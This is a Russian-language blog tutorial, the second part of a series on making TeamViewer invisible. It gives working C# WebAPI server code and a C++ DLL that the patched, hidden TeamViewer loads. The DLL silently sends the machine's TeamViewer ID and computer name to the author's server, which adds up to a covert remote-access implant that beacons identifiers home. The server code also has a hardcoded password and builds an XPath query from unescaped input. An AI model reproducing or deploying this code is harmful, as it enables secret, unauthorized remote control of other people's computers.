Невидимый TeamViewer. Часть вторая

В первой части убрали все окна TeamViewer сделали его полностью не видимым. Для того что бы получить TeamViewer ID ("Ваш ID") перекрыли вывод ID в текстовое поле на вызов своей подпрограммы которая загружает в адресное пространство TeamViewer свою dll и вызывает из неё функцию передав ей в качестве параметра ID. В этой части речь пойдёт о том как сделать эту dll, как сделать простой веб-сервис и передать ему этот ID и заодно имя-компьютера.

  • Библиотеку DLL сделаем на C++ что бы не зависеть от фреймворка
  • Web-сервис сделаем на WebAPI. Можно сделать и SOAP. Я изначально так и сделал но столкнулся я проблемой генерации прокси класса для с++ пришлось использовать Cli в итоге смысл c++ потерялся.

WebAPI веб-сервис

Начнём с конца, а именно сделаем WebAPI веб-сервис куда будем передавать ID и имя-компьютера. Сделаем два метода:

  • первый будет получать ID и имя-компьютера и сохранять их
  • второй будет возвращать сохранённый список

Что бы веб-сервис был доступен нужен сервер с внешним IP. Делать будем на C# поэтому нужен Windows-сервер. Я пользуюсь Amazon VPS бесплатный вариант сроком на 1 год. Насколько помню для регистрации нужна действующая кредитная карта (просто как факт, с неё не будет ничего списано) и мобильный. Регистрация проходит полностью в автоматическом режиме, в интернете есть несколько подробных инструкций поэтому это не проблема. В результате получаете выделенный Windows сервер (у меня это Windows Server 2008 R2) с внешним статическим IP-адресом. Управляется через Remote Desktop Connection - есть полный контроль.

Открываем Visual Studio (у меня Ultimate 2013 версия 12.0 Upd 1), File -> New Project -> ASP.NET MVC4 Web Application
На следующем шаге выдираем Empty шаблон.
В папку Models добавляем новый файл Class.. с именем TvId.cs

namespace webapisrv.Models
{
    public class TvId
    {
        public string id { get; set; }
        public string desc { get; set; }
    }
}

Дальше в папку Controllers добавляем Controller.. с именем TvIdController и шаблоном Empty API Controller.
Как говорил выше сделаем два метода:

  1. Add - будет получать ID и имя-компьютер (объект TvId) и сохранять в XML файл если там ещё нет такого ID. Данные он будет получать через POST-запрос т.к в случае GET пришлось бы url-кодировать имя-компьютера.
  2. GetAll - будет возвращать список сохранённых ID. Добавим в этот метод простую авторизацию: нужно будет указать пароль у запросе. Для этого добавим класс AuthorizeFilter и одноимённый атрибут к методу. В классе переопределим метод OnActionExecuting в котором просто будем проверять равен передаваемый пароль константе "mypassword". Можно было проверять и в самом методе но считается плохой практикой из-за кэширования (не знаю уместно ли в данном случае) и так более гибко. Запрос будет GET что бы можно было просто набрать в браузере.

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Web.Http;
using System.Web.Http.Controllers;
using System.Web.Http.Filters;
using System.Xml;
using webapisrv.Models;

namespace webapisrv.Controllers
{
    public class TvIdController : ApiController
    {
        const string constIdFileName = @"c:\webapisrv\Res\nums.xml";
        
        [HttpPost]
        public HttpResponseMessage Add(TvId val)
        {
            try
            {
                if (val != null && ModelState.IsValid && val.id != null && val.desc != null && val.id.Trim().Length > 0)
                {
                    AppendToXml(val.id, val.desc);
                    return Request.CreateResponse(HttpStatusCode.OK);                    
                }
                else
                    return Request.CreateResponse(HttpStatusCode.InternalServerError, "Invalid Model");
            }
            catch (Exception ex)
            {
                return Request.CreateResponse(HttpStatusCode.InternalServerError, ex.Message);
            }
        }

        [HttpGet]
        [AuthorizeFilter]
        public HttpResponseMessage GetAll(string pwd)
        {
            try
            {
                XmlDocument doc = new XmlDocument();
                if (File.Exists(constIdFileName))
                    doc.Load(constIdFileName);

                List<TvId> l = new List<TvId>();

                foreach (XmlNode x in doc.SelectNodes("/r/n")) // r - root, n - node
                    l.Add(new TvId { id = x.Attributes["id"].Value, desc = x.Attributes["desc"].Value });

                return this.Request.CreateResponse<IEnumerable<TvId>>(HttpStatusCode.OK, l);
            }
            catch (Exception ex)
            {
                return Request.CreateResponse(HttpStatusCode.InternalServerError, ex.Message);
            }
        }
        
        #region AppendToXml
        static void AppendToXml(string id, string desc)
        {
            XmlDocument doc = new XmlDocument();
            if (File.Exists(constIdFileName))
            {
                doc.Load(constIdFileName);
            }
            else
            {
                string p = Path.GetDirectoryName(constIdFileName);
                if (!Directory.Exists(p))
                    Directory.CreateDirectory(p);

                XmlDeclaration xmlDeclaration = doc.CreateXmlDeclaration("1.0", "utf-8", null);
                doc.InsertBefore(xmlDeclaration, doc.DocumentElement);
                XmlElement rootNode = doc.CreateElement("r");
                doc.AppendChild(rootNode);
            }

            if (doc.SelectNodes("/r/n[@id='" + id + "']").Count == 0)  // r - root, n - node
            {
                XmlElement n = doc.CreateElement("n");

                n.SetAttribute("id", id);
                n.SetAttribute("desc", desc);

                doc.DocumentElement.AppendChild(n);
                doc.Save(constIdFileName);
            }
        }
        #endregion
    }

    public class AuthorizeFilter : ActionFilterAttribute
    {
        public override void OnActionExecuting(HttpActionContext actionContext)
        {
            if ((string)actionContext.ActionArguments["pwd"] != "mypassword")
                throw new HttpResponseException(System.Net.HttpStatusCode.Forbidden);
            else
                base.OnActionExecuting(actionContext);
        }
    }
}

Так как в метод GetAll мы передаём пароль pwd то немного поменяем конфиг App_Start\WebApiConfig.cs, просто заменим два вхождения id на pwd

            
	config.Routes.MapHttpRoute(
		name: "DefaultApi",
                routeTemplate: "api/{controller}/{pwd}",
                defaults: new { pwd = RouteParameter.Optional }
            );	

Компилируем, проверяем. Запускаем веб-сервис на выполнение в Visual Studio смотрим на каком порту запустился. Что бы сгенерировать POST запрос к методу Add воспользуемся программой Fiddler. Адрес для этого метода должен быть: http://localhost:<порт>/api/tvid. Данные будем отправлять в JSON формате - так короче и проще по сравнению с XML. Если всё хорошо то веб-сервис должен вернуть 200 ОК. Так же должен появится файл c:\webapisrv\Res\nums.xml содержащий переданные данные.
Для проверки метода GetAll достаточно в браузере набрать http://localhost:<порт>/api/tvid/mypassword

Устанавливаем веб-сервис на сервер

Создаём на сервере папку, например c:\webapisrv, из проекта кладём в неё Global.asax, Web.config, создаём папку bin и кладём в неё все dll из папки bin проекта. (На папку c:\webapisrv нужно дать разрешение Full Control для пользователя IIS_IUSRS Свойства -> Security).
В IIS Manager создаём новый сайт, указываем путь к папке, Application Pool = ASP.NET v4.0, назначаем порт (например 8888). В Windows-фаерволл нужно разрешить входящие подключения на этот порт, если сервер на Amazon VPS ещё нужно добавить правило для этого порта: VPC Dashboard -> Security -> Security Groups -> Inbound Rules (там уже должны быть правила для 80 порта, для MS SQL 1433, для RPD 3389).


Делаем DLL на С++ и вызываем из неё метод Web-сервиса

Создаём в Visual Studio пустой проект Visual C++. Название tvlib - тоже что прописали в TeamViewer. Дальше идём в свойства и меняем тип приложения на DLL. Так же поставим Unicode. Добавляем три файла (можно удалить все папки и добавлять в корень):

  1. myfunc.cpp - будет содержать одну функцию SendToSrv - собственно вызов метода Add веб-сервиса. Создаёт сокет, отправляет POST-запрос веб-сервису, возвращает True если ответ 200 OK.
  2. main.cpp - содержит экспортируемую функцию f1 которая вызывает выше описанную SendToSrv. Вызов я сделал в потоке что бы TeamViewer не ждал, хотя на этот момент гарантированно должен быть интернет и отправка данных веб-методу должна занимать мало времени.
  3. export.def - этот файл говорит что функция f1 экспортируется по порядковому номеру 1. Так сделано что бы было проще вызвать из ассемблера

myfunc.cpp

 
#include <windows.h>
#include <string>
#pragma comment(lib,"ws2_32.lib")

bool SendToSrv(const LPCWSTR id, const LPCWSTR desc, const LPCSTR ip_srv, const int port)
{
	bool res = false;
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) == 0) 
	{
		SOCKET Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		struct hostent *host;
		host = gethostbyname(ip_srv);
		SOCKADDR_IN SockAddr;
		SockAddr.sin_port = htons(port);
		SockAddr.sin_family = AF_INET;
		SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);

		if (connect(Socket, (SOCKADDR*)(&SockAddr), sizeof(SockAddr)) == 0)
		{
			wchar_t body[0x100];
			int cb = swprintf(body, 0x100, L"{\"id\":\"%s\",\"desc\":\"%s\"}", id, desc);

			// unicode -> utf-8
			char body_utf8[0x100];
			int nChars = ::WideCharToMultiByte(CP_UTF8, 0, body, cb, NULL, 0, NULL, NULL);
			::WideCharToMultiByte(CP_UTF8, 0, body, cb, body_utf8, nChars, NULL, NULL);

			char req[0x100];
			int cr = sprintf_s(req, 0x100, "POST http://%s:%d/api/tvid HTTP/1.1\r\nHost:%s:%d\r\nContent-Type:application/json;charset=utf-8\r\nContent-Length:%d\r\n\r\n", ip_srv, port, ip_srv, port, nChars);

			memcpy(&req[cr], body_utf8, nChars);

			send(Socket, req, cr + nChars, 0);

			char buffer[0x100];
			size_t nDataLength = recv(Socket, buffer, 0x100, 0);

			const char RespOk[] = "HTTP/1.1 200 OK";
			res = (strlen(RespOk) < nDataLength && (strncmp(RespOk, buffer, strlen(RespOk)) == 0));
		}
		closesocket(Socket);
	}
	WSACleanup();
	return res;
}

Тут только надо помнить что нужно преобразовать строки из UNICODE т.е по два байта на символ в UTF-8 - 1 байт на символ. main.cpp

#include <windows.h>	
#include <process.h> 
#include <atomic>

static HMODULE g_Self = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	// запретим выгрузку DLL - загрузим её ещё раз тем самым увеличив счётчик ссылок на неё
	if (ul_reason_for_call == DLL_PROCESS_ATTACH && g_Self == NULL)
	{
		TCHAR moduleName[0x100];
		if (GetModuleFileName(hModule, moduleName, 0x100) != 0)
			g_Self = LoadLibrary(moduleName);
	}
	return TRUE;
}

// из myfunc.cpp
bool SendToSrv(const LPCWSTR id, const LPCWSTR desc, const LPCSTR ip_srv, const int port);

// структура куда скопируем ID и поместим имя-компьютера, а так же результат
typedef struct {
	wchar_t buf_id[20];
	wchar_t buf_desc[100];
	std::atomic_flag res;
} myparam;

// функция потока
unsigned __stdcall MyThreadProc(void *param)
{
	myparam *p = (myparam*)param;

	if (!SendToSrv(p->buf_id, p->buf_desc, "localhost", 8888)) // !!! поменять на IP или адрес веб-сервиса и порт.
		std::atomic_flag_clear(&p->res);

	_endthreadex(0);
	return 0;
}

// глобальные переменные. Нельзя объявлять в f1 т.к она завершится раньше чем отработает поток. 
static myparam param = { L"", L"", ATOMIC_FLAG_INIT };
static HANDLE hThread = 0;

// экспортируем как @1
__declspec(dllexport) void f1(LPCWSTR id);

void f1(const LPCWSTR id)
{
	if (!std::atomic_flag_test_and_set(&param.res))
	{
		//MessageBox(NULL, id, (LPCWSTR)L"ID", MB_OK); // тест

		wcscpy_s(param.buf_id, id);

		DWORD len = sizeof(param.buf_desc);
		if (GetComputerNameW(param.buf_desc, &len) == 0)
			wcsncpy_s(param.buf_desc, L"", len);

		unsigned threadID;
		hThread = (HANDLE)_beginthreadex(NULL, 0, &MyThreadProc, (void *)&param, 0, &threadID);

		//MyThreadProc((void*)&param); // вызов без потока
	}
}

Пару моментов. Первое на что я сам напоролся это выгрузка DLL. Изначально я делал DLL и в ней было ещё несколько функций, больше библиотек использовалось и windows не выгружала её из процесса, но когда убрал лишнее оказалось что библиотека выгружается ещё до перехода в функцию потока. Система считала что выполнила единственную функцию и библиотека больше не нужна. В идеале библиотека должна быть постоянно загружена - это даст возможность контролировать вызов метода веб-сервиса и если он завершится успешно то больше его не вызывать. Что бы запретить выгрузку добавил функцию входа в библиотеку DllMain в которой DLL пытается загрузить себя же вызывая LoadLibrary. Это не приведёт к повторной загрузке DLL а просто вернёт дескриптор на уже загруженный модуль, но при этом увеличится счётчик ссылок на DLL и система уже не будет её выгружать. Второе для того что бы запретить повторный вызов SendToSrv используется атомарный флаг - это исключительно для красоты, можно заменить на bool, т.к вызов f1 идёт из главного потока TeamViewer потому что мы его сделали на месте записи в текстовое поле "Ваш ID".

export.def
Можно обойтись и без этого файла - он просто указывает порядковый номер для функции но т.к функция у нас одна то номер у неё и так будет 1.

LIBRARY tvlib
EXPORTS	
	f1	@1 	NONAME


Компилируем. На выходе получается tvlib.dll примерно 11,5 KB. Кладём в папку с нашим модифицированным TeamViewer.exe, запускаем и смотрим результат вызвав метод веб-сервиса GetAll (http://localhost:<порт>/api/tvid/mypassword). Через несколько секунд TeamViewer подключится к своему серверу, получит свой уникальный ID, попытается вывести его в интерфейс в поле "Ваш ID" что приведёт к переходу на наш ассемблер-код (из первой части статьи) тот в свою очередь загрузит DLL и вызовет функцию номер @1 (что соответствует f1). Дальше f1 получит имя-компьютера и отправит его и ID методу Add нашего веб-сервиса.

comments powered by Disqus
Яндекс.Метрика